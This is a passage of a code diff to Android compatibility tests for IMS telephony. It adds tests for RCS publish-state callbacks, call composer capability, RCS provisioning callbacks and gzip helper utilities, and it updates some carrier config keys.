+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ automan.adoptShellPermissionIdentity();
+ // register two publish state callback
+ uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+ publishStateCallback);
+ uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+ unregisteredPublishStateCallback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // Verify receiving the publish state callback immediately after registering the callback.
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+ waitForIntResult(publishStateQueue));
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+ waitForIntResult(unregisteredPublishStateQueue));
+ publishStateQueue.clear();
+ unregisteredPublishStateQueue.clear();
+
+ // Verify the value of getting from the API is NOT_PUBLISHED
+ try {
+ automan.adoptShellPermissionIdentity();
+ int publishState = uceAdapter.getUcePublishState();
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // Setup the operation of the publish request.
+ capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+ int networkResp = 200;
+ String reason = "";
+ listener.onPublish();
+ cb.onNetworkResponse(networkResp, reason);
+ });
+
+ // Unregister the publish state callback
+ try {
+ automan.adoptShellPermissionIdentity();
+ uceAdapter.removeOnPublishStateChangedListener(unregisteredPublishStateCallback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // IMS registers
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+ // Framework should trigger the device capabilities publish when IMS is registered.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+ publishStateQueue.clear();
+
+ // The unregistered callback should not be called.
+ if (unregisteredPublishStateQueue.poll() != null) {
+ fail("Unregistered publish callback should not be called");
+ }
+
+ // Verify the value of getting from the API is PUBLISH_STATE_OK
+ try {
+ automan.adoptShellPermissionIdentity();
+ int publishState = uceAdapter.getUcePublishState();
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ CapabilityExchangeEventListener eventListener =
+ sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+ // ImsService triggers to notify framework publish device's capabilities.
+ eventListener.onRequestPublishCapabilities(
+ RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+ // Verify ImsService receive the publish request from framework.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+ // ImsService triggers the unpublish notification
+ eventListener.onUnpublish();
+
+ // Verify the publish state callback will be called with the state "NOT_PUBLISHED"
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+ waitForIntResult(publishStateQueue));
+ publishStateQueue.clear();
+
+ // The unregistered callback should not be called.
+ if (unregisteredPublishStateQueue.poll() != null) {
+ fail("Unregistered publish callback should not be called when unpublish");
+ }
+
+ // Verify the value of getting from the API is NOT_PUBLISHED
+ try {
+ automan.adoptShellPermissionIdentity();
+ int publishState = uceAdapter.getUcePublishState();
+ assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ // Trigger RcsFeature is unavailable
+ sServiceConnector.getCarrierService().getRcsFeature()
+ .setFeatureState(ImsFeature.STATE_UNAVAILABLE);
+
+ // Verify the RcsCapabilityExchangeImplBase will be removed.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_UCE_LISTENER_SET));
+
+ overrideCarrierConfig(null);
+ }
+
@Ignore("RCS APIs not public yet")
@Test
public void testRcsManagerRegistrationCallback() throws Exception {
@@ -1167,15 +1354,92 @@
assertNotNull(capCb);
assertTrue(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
- // We should not have call composer availability here.
- capCb = waitForResult(mQueue);
- assertNotNull(capCb);
+ try {
+ automan.adoptShellPermissionIdentity();
+ assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
+
+ mmTelManager.unregisterMmTelCapabilityCallback(callback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ try {
+ mmTelManager.unregisterMmTelCapabilityCallback(callback);
+ fail("unregisterMmTelCapabilityCallback requires READ_PRECISE_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+ }
+
+ @Test
+ public void testCallComposerCapabilityStatusCallback() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+ ImsMmTelManager mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+ triggerFrameworkConnectToCarrierImsService();
+
+ // Wait for the framework to set the capabilities on the ImsService
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_MMTEL_CAP_SET);
+ MmTelFeature.MmTelCapabilities fwCaps = sServiceConnector.getCarrierService()
+ .getMmTelFeature().getCapabilities();
+ // Make sure we start off with every capability unavailable
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+ sServiceConnector.getCarrierService().getMmTelFeature()
+ .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities());
+
+ // Make sure the capabilities match the API getter for capabilities
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ // Latch will count down here (we callback on the state during registration).
+ try {
+ automan.adoptShellPermissionIdentity();
+ // Make sure we are tracking voice capability over LTE properly.
+ assertEquals(fwCaps.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE),
+ mmTelManager.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ LinkedBlockingQueue<MmTelFeature.MmTelCapabilities> mQueue = new LinkedBlockingQueue<>();
+ ImsMmTelManager.CapabilityCallback callback = new ImsMmTelManager.CapabilityCallback() {
+
+ @Override
+ public void onCapabilitiesStatusChanged(MmTelFeature.MmTelCapabilities capabilities) {
+ mQueue.offer(capabilities);
+ }
+ };
+
+ // Latch will count down here (we callback on the state during registration).
+ try {
+ automan.adoptShellPermissionIdentity();
+ mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ try {
+ mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+ fail("registerMmTelCapabilityCallback requires READ_PRECISE_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+
+ // We should not have voice availability here, we notified the framework earlier.
+ MmTelFeature.MmTelCapabilities capCb = waitForResult(mQueue);
assertFalse(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
// Now enable call composer availability
sServiceConnector.getCarrierService().getMmTelFeature()
.notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities(
- MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
capCb = waitForResult(mQueue);
assertNotNull(capCb);
assertTrue(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
@@ -1183,7 +1447,7 @@
try {
automan.adoptShellPermissionIdentity();
assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
- MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+ MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER,
ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
mmTelManager.unregisterMmTelCapabilityCallback(callback);
@@ -1298,42 +1562,6 @@
}
}
- @Test
- public void testProvisioningManagerNotifyAutoConfig() throws Exception {
- if (!ImsUtils.shouldTestImsService()) {
- return;
- }
-
- // Trigger carrier config changed
- PersistableBundle bundle = new PersistableBundle();
- bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
- bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
- overrideCarrierConfig(bundle);
-
- triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
-
- ProvisioningManager provisioningManager =
- ProvisioningManager.createForSubscriptionId(sTestSub);
-
- final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
- try {
- automan.adoptShellPermissionIdentity();
- provisioningManager.notifyRcsAutoConfigurationReceived(
- TEST_AUTOCONFIG_CONTENT.getBytes(), false);
- ImsConfigImplBase config = sServiceConnector.getCarrierService().getConfig();
- Assert.assertNotNull(config);
- assertEquals(TEST_AUTOCONFIG_CONTENT,
- config.getConfigString(ImsUtils.ITEM_NON_COMPRESSED));
-
- provisioningManager.notifyRcsAutoConfigurationReceived(
- TEST_AUTOCONFIG_CONTENT.getBytes(), true);
- assertEquals(TEST_AUTOCONFIG_CONTENT,
- config.getConfigString(ImsUtils.ITEM_COMPRESSED));
- } finally {
- automan.dropShellPermissionIdentity();
- }
- }
-
@Ignore("RCS APIs not public yet")
@Test
public void testRcsCapabilityStatusCallback() throws Exception {
@@ -1379,7 +1607,11 @@
// Trigger carrier config changed
PersistableBundle bundle = new PersistableBundle();
bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
- bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+ true);
+ bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, true);
+
overrideCarrierConfig(bundle);
// The carrier config changed should trigger RcsFeature#changeEnabledCapabilities
@@ -1738,7 +1970,10 @@
triggerFrameworkConnectToCarrierImsService();
PersistableBundle bundle = new PersistableBundle();
- bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+ true);
+ bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, true);
bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_RCS_PROVISIONING_REQUIRED_BOOL, true);
overrideCarrierConfig(bundle);
@@ -1768,6 +2003,256 @@
overrideCarrierConfig(null);
}
+ @Test
+ public void testProvisioningManagerRcsProvisioningChangedCallback() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+ final int errorCode = 403;
+ final String errorString = "Forbidden";
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
+ LinkedBlockingQueue<RcsProvisioningCallbackParams> paramsQueue =
+ new LinkedBlockingQueue<>();
+ ProvisioningManager.RcsProvisioningCallback cb =
+ buildRcsProvisioningCallback(actionQueue, paramsQueue);
+ ProvisioningManager provisioningManager =
+ ProvisioningManager.createForSubscriptionId(sTestSub);
+ ImsConfigImplBase config = sServiceConnector.getCarrierService().getConfig();
+
+ try {
+ automan.adoptShellPermissionIdentity();
+ provisioningManager.registerRcsProvisioningChangedCallback(
+ getContext().getMainExecutor(), cb);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ actionQueue.clear();
+ paramsQueue.clear();
+
+ //callback when rcs configuration received, uncompressed
+ config.getIImsConfig().notifyRcsAutoConfigurationReceived(
+ TEST_RCS_CONFIG.getBytes(), false);
+
+ int res = waitForIntResult(actionQueue);
+ assertEquals(res, RCS_CONFIG_CB_CHANGED);
+ RcsProvisioningCallbackParams params = waitForResult(paramsQueue);
+ assertNotNull(params);
+ assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+ //verify when rcs configuration received, conpressed
+ config.getIImsConfig().notifyRcsAutoConfigurationReceived(
+ ImsUtils.compressGzip(TEST_RCS_CONFIG.getBytes()), true);
+
+ res = waitForIntResult(actionQueue);
+ assertEquals(res, RCS_CONFIG_CB_CHANGED);
+ params = waitForResult(paramsQueue);
+ assertNotNull(params);
+ assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+ //callback when rcs configuration removed
+ config.getIImsConfig().notifyRcsAutoConfigurationRemoved();
+ res = waitForIntResult(actionQueue);
+ assertEquals(res, RCS_CONFIG_CB_RESET);
+
+ //callback when auto config error received
+ config.notifyAutoConfigurationErrorReceived(errorCode, errorString);
+ res = waitForIntResult(actionQueue);
+ assertEquals(res, RCS_CONFIG_CB_ERROR);
+ params = waitForResult(paramsQueue);
+ assertNotNull(params);
+ assertTrue(params.mErrorCode != null && params.mErrorCode == errorCode);
+ assertTrue(errorString.equals(params.mErrorString));
+
+ //callback when config removed
+ config.getIImsConfig().notifyRcsAutoConfigurationRemoved();
+ res = waitForIntResult(actionQueue);
+ assertEquals(res, RCS_CONFIG_CB_RESET);
+
+ //unregister callback and verify not to receive callback any more
+ try {
+ automan.adoptShellPermissionIdentity();
+ provisioningManager.unregisterRcsProvisioningChangedCallback(cb);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ res = waitForIntResult(actionQueue);
+ assertEquals(res, RCS_CONFIG_CB_DELETE);
+
+ config.notifyAutoConfigurationErrorReceived(errorCode, errorString);
+ res = waitForIntResult(actionQueue, 500);
+ assertEquals(res, Integer.MAX_VALUE);
+ }
+
+ @Test
+ public void testProvisioningManagerNotifyRcsAutoConfigurationReceived() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
+ LinkedBlockingQueue<RcsProvisioningCallbackParams> paramsQueue =
+ new LinkedBlockingQueue<>();
+ ProvisioningManager.RcsProvisioningCallback cb =
+ buildRcsProvisioningCallback(clientQueue, paramsQueue);
+ ProvisioningManager provisioningManager =
+ ProvisioningManager.createForSubscriptionId(sTestSub);
+ LinkedBlockingQueue<Integer> acsQueue = new LinkedBlockingQueue<>();
+ TestAcsClient.getInstance().setActionQueue(acsQueue);
+
+ try {
+ automan.adoptShellPermissionIdentity();
+ provisioningManager.registerRcsProvisioningChangedCallback(
+ getContext().getMainExecutor(), cb);
+ clientQueue.clear();
+ paramsQueue.clear();
+ provisioningManager.notifyRcsAutoConfigurationReceived(
+ TEST_RCS_CONFIG.getBytes(), false);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ int res = waitForIntResult(clientQueue);
+ assertEquals(res, RCS_CONFIG_CB_CHANGED);
+ RcsProvisioningCallbackParams params = waitForResult(paramsQueue);
+ assertNotNull(params);
+ assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+ res = waitForIntResult(acsQueue);
+ assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+ assertTrue(Arrays.equals(
+ TEST_RCS_CONFIG.getBytes(), TestAcsClient.getInstance().getConfig()));
+
+ try {
+ automan.adoptShellPermissionIdentity();
+ provisioningManager.notifyRcsAutoConfigurationReceived(
+ ImsUtils.compressGzip(TEST_RCS_CONFIG.getBytes()), true);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ res = waitForIntResult(clientQueue);
+ assertEquals(res, RCS_CONFIG_CB_CHANGED);
+ params = waitForResult(paramsQueue);
+ assertNotNull(params);
+ assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+ res = waitForIntResult(acsQueue);
+ assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+ assertTrue(Arrays.equals(
+ TEST_RCS_CONFIG.getBytes(), TestAcsClient.getInstance().getConfig()));
+ }
+
+ @Test
+ public void testProvisioningManagerTriggerRcsReconfiguration() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
+ ProvisioningManager.RcsProvisioningCallback cb =
+ buildRcsProvisioningCallback(clientQueue, null);
+ LinkedBlockingQueue<Integer> acsQueue = new LinkedBlockingQueue<>();
+ TestAcsClient.getInstance().setActionQueue(acsQueue);
+
+ ProvisioningManager provisioningManager =
+ ProvisioningManager.createForSubscriptionId(sTestSub);
+
+ try {
+ automan.adoptShellPermissionIdentity();
+ provisioningManager.registerRcsProvisioningChangedCallback(
+ getContext().getMainExecutor(), cb);
+
+ clientQueue.clear();
+ provisioningManager.triggerRcsReconfiguration();
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ int res = waitForIntResult(clientQueue);
+ assertEquals(res, RCS_CONFIG_CB_RESET);
+
+ res = waitForIntResult(acsQueue);
+ assertEquals(res, TestAcsClient.ACTION_TRIGGER_AUTO_CONFIG);
+ }
+
+ @Test
+ public void testProvisioningManagerSetRcsClientConfiguration() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ RcsClientConfiguration rcc = new RcsClientConfiguration(
+ "1.0", "UP_1.0", "Android", "RCSAndrd-1.0");
+ triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
+ TestAcsClient.getInstance().setActionQueue(actionQueue);
+
+ ProvisioningManager provisioningManager =
+ ProvisioningManager.createForSubscriptionId(sTestSub);
+
+ try {
+ automan.adoptShellPermissionIdentity();
+ provisioningManager.setRcsClientConfiguration(rcc);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ int res = waitForIntResult(actionQueue);
+ assertEquals(res, TestAcsClient.ACTION_SET_RCS_CLIENT_CONFIG);
+ assertEquals(rcc, TestAcsClient.getInstance().getRcc());
+ }
+
+ @Test
+ public void testProvisioningManagerRcsVolteSingleRegistrationCapable() throws Exception {
+ boolean isSingleRegistrationEnabledOnDevice =
+ sServiceConnector.getDeviceSingleRegistrationEnabled();
+ ProvisioningManager provisioningManager =
+ ProvisioningManager.createForSubscriptionId(sTestSub);
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putBoolean(
+ CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+ overrideCarrierConfig(bundle);
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ automan.adoptShellPermissionIdentity();
+ assertFalse(provisioningManager.isRcsVolteSingleRegistrationCapable());
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ bundle = new PersistableBundle();
+ bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+ overrideCarrierConfig(bundle);
+ try {
+ automan.adoptShellPermissionIdentity();
+ assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+ isSingleRegistrationEnabledOnDevice);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+
+ sServiceConnector.setDeviceSingleRegistrationEnabled(!isSingleRegistrationEnabledOnDevice);
+ try {
+ automan.adoptShellPermissionIdentity();
+ assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+ !isSingleRegistrationEnabledOnDevice);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ }
+
private void verifyIntKey(ProvisioningManager pm,
LinkedBlockingQueue<Pair<Integer, Integer>> intQueue, int key, int value)
throws Exception {
@@ -1835,6 +2320,44 @@
sTestSlot, serviceSlot);
}
+ private void triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature() throws Exception {
+ // Connect to the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+
+ // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue("Did not receive createMmTelFeature", sServiceConnector.getCarrierService()
+ .waitForLatchCountdown(TestImsService.LATCH_CREATE_MMTEL));
+ assertTrue("Did not receive MmTelFeature#onReady", sServiceConnector.getCarrierService()
+ .waitForLatchCountdown(TestImsService.LATCH_MMTEL_READY));
+ assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+ sServiceConnector.getCarrierService().getMmTelFeature());
+ int serviceSlot = sServiceConnector.getCarrierService().getMmTelFeature().getSlotIndex();
+ assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+ + "assigned slot (" + serviceSlot + "+ for the associated MmTelFeature",
+ sTestSlot, serviceSlot);
+
+ // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+ .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+ assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+ .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+ // Make sure the RcsFeature was created in the test service.
+ assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+ + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+ assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_UCE_LISTENER_SET));
+ serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+ assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+ + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+ sTestSlot, serviceSlot);
+ }
+
private void triggerFrameworkConnectToCarrierImsService() throws Exception {
// Connect to the ImsService with the MmTel feature.
assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
@@ -1854,6 +2377,42 @@
sTestSlot, serviceSlot);
}
+ private ProvisioningManager.RcsProvisioningCallback buildRcsProvisioningCallback(
+ LinkedBlockingQueue<Integer> actionQueue,
+ LinkedBlockingQueue<RcsProvisioningCallbackParams> paramQueue) {
+ return new ProvisioningManager.RcsProvisioningCallback() {
+ @Override
+ public void onConfigurationChanged(byte[] configXml) {
+ actionQueue.offer(RCS_CONFIG_CB_CHANGED);
+ if (paramQueue != null) {
+ RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+ params.mConfig = configXml;
+ paramQueue.offer(params);
+ }
+ }
+
+ @Override
+ public void onAutoConfigurationErrorReceived(int code, String str) {
+ actionQueue.offer(RCS_CONFIG_CB_ERROR);
+ if (paramQueue != null) {
+ RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+ params.mErrorCode = code;
+ params.mErrorString = str;
+ paramQueue.offer(params);
+ }
+ }
+
+ @Override
+ public void onConfigurationReset() {
+ actionQueue.offer(RCS_CONFIG_CB_RESET);
+ }
+
+ @Override
+ public void onRemoved() {
+ actionQueue.offer(RCS_CONFIG_CB_DELETE);
+ }
+ };
+ }
// Waiting for ImsRcsManager to become public before implementing RegistrationManager,
// Duplicate these methods for now.
private void verifyRegistrationState(ImsRcsManager regManager, int expectedState)
@@ -1915,6 +2474,12 @@
return result != null ? result : Integer.MAX_VALUE;
}
+ private int waitForIntResult(LinkedBlockingQueue<Integer> queue, int timeout)
+ throws Exception {
+ Integer result = queue.poll(timeout, TimeUnit.MILLISECONDS);
+ return result != null ? result : Integer.MAX_VALUE;
+ }
+
private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
.getContext().getSystemService(CarrierConfigManager.class);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index e691e51..bd73656 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -30,8 +30,13 @@
import com.android.compatibility.common.util.ShellIdentityUtils;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
import java.util.List;
import java.util.concurrent.Callable;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
public class ImsUtils {
public static final boolean VDBG = false;
@@ -46,6 +51,7 @@
public static final int ITEM_COMPRESSED = 2001;
// TODO Replace with a real sip message once that logic is in.
public static final String TEST_TRANSACTION_ID = "z9hG4bK.TeSt";
+ public static final String TEST_CALL_ID = "testcall";
public static final SipMessage TEST_SIP_MESSAGE = new SipMessage("A", "B", new byte[0]);
public static boolean shouldTestTelephony() {
@@ -154,4 +160,55 @@
}
return false;
}
+
+ /**
+ * compress the gzip format data
+ * @hide
+ */
+ public static byte[] compressGzip(byte[] data) {
+ if (data == null || data.length == 0) {
+ return data;
+ }
+ byte[] out = null;
+ try {
+ ByteArrayOutputStream outputStream = new ByteArrayOutputStream(data.length);
+ GZIPOutputStream gzipCompressingStream =
+ new GZIPOutputStream(outputStream);
+ gzipCompressingStream.write(data);
+ gzipCompressingStream.close();
+ out = outputStream.toByteArray();
+ outputStream.close();
+ } catch (IOException e) {
+ }
+ return out;
+ }
+
+ /**
+ * decompress the gzip format data
+ * @hide
+ */
+ public static byte[] decompressGzip(byte[] data) {
+ if (data == null || data.length == 0) {
+ return data;
+ }
+ byte[] out = null;
+ try {
+ ByteArrayInputStream inputStream = new ByteArrayInputStream(data);
+ ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+ GZIPInputStream gzipDecompressingStream =
+ new GZIPInputStream(inputStream);
+ byte[] buf = new byte[1024];
+ int size = gzipDecompressingStream.read(buf);
+ while (size >= 0) {
+ outputStream.write(buf, 0, size);
+ size = gzipDecompressingStream.read(buf);
+ }
+ gzipDecompressingStream.close();
+ inputStream.close();
+ out = outputStream.toByteArray();
+ outputStream.close();
+ } catch (IOException e) {
+ }
+ return out;
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
index 3f786fa..24d48ab 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -21,6 +21,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.fail;
import android.content.BroadcastReceiver;
@@ -54,6 +55,7 @@
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -298,6 +300,7 @@
+ "false", result);
}
+ @Ignore("Disabling for integration b/175766573")
@Test
public void testIsSupportedWithSipTransportCapableOnlyRcs() throws Exception {
if (!ImsUtils.shouldTestImsService()) {
@@ -306,7 +309,12 @@
PersistableBundle b = new PersistableBundle();
b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
overrideCarrierConfig(b);
+
assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+ // set SipTransport as supported with RCS only attached.
+ sServiceConnector.getCarrierService().addCapabilities(
+ ImsService.CAPABILITY_SIP_DELEGATE_CREATION);
+ sServiceConnector.getCarrierService().setSipTransportImplemented();
ImsFeatureConfiguration c = getConfigForRcs();
assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
@@ -318,7 +326,7 @@
ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
assertNotNull(result);
assertFalse("isSupported should return false in the case that the ImsService is only "
- + "attached for MMTEL and not MMTEL and RCS", result);
+ + "attached for RCS and not MMTEL and RCS", result);
}
@@ -405,6 +413,7 @@
connectTestImsServiceWithSipTransportAndConfig();
TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+ TestImsRegistration imsReg = sServiceConnector.getCarrierService().getImsRegistration();
SipDelegateManager manager = getSipDelegateManager();
DelegateRequest request = getDefaultRequest();
